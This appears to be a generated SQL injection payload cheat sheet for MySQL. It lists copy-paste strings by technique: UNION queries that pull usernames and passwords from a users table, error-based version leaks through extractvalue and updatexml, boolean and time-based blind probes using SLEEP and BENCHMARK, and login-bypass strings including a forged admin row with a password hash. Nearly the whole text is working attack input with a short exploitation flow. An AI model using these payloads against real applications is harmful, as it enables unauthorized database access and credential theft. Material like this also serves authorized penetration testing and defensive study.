ORDER BY 1
UNION-based
' ORDER BY 1-- Find column count for UNION.
PayloadsAllTheThings referenceStep 3 — Exploitation
Reflective output → UNION. Errors leak → error-based. Silent → boolean, then time-based.
If this fails
UNION-based
' ORDER BY 1-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' ORDER BY 2-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT NULL, NULL-- Probe column count with NULL placeholders.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT username, password FROM users LIMIT 1-- Column count must match original query. Reflect column 1 in the app response.
PayloadsAllTheThings referenceError-based
' AND extractvalue(1,concat(0x7e,(VERSION())))-- XPATH error-based extraction.
PayloadsAllTheThings referenceError-based
' AND updatexml(1,concat(0x7e,(VERSION())),1)-- XPATH error-based extraction.
PayloadsAllTheThings referenceBoolean blind
' AND 1=1-- Baseline true response.
PayloadsAllTheThings referenceBoolean blind
' AND 1=2-- Baseline false response.
PayloadsAllTheThings referenceBoolean blind
' AND LENGTH(VERSION())=N-- Replace N until response changes.
PayloadsAllTheThings referenceBoolean blind
' AND ASCII(SUBSTRING(VERSION(),1,1))=104-- Binary search ASCII at position 1 (configured: 104).
PayloadsAllTheThings referenceTime-based blind
' AND SLEEP(5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- Heavy query when condition is true.
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceAuthentication bypass
' OR '1'='1-- Bypass login; may return multiple rows.
PayloadsAllTheThings referenceAuthentication bypass
' OR 1=1 LIMIT 1-- Login as first user in result set.
PayloadsAllTheThings referenceAuthentication bypass
'admin'--Comment out password check (user: admin).
PayloadsAllTheThings referenceAuthentication bypass
'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).
PayloadsAllTheThings referenceStatic, copy-paste references generated by this same engine — browse by attack technique or jump straight to a database.
See the full payload index or read the SQL injection guides.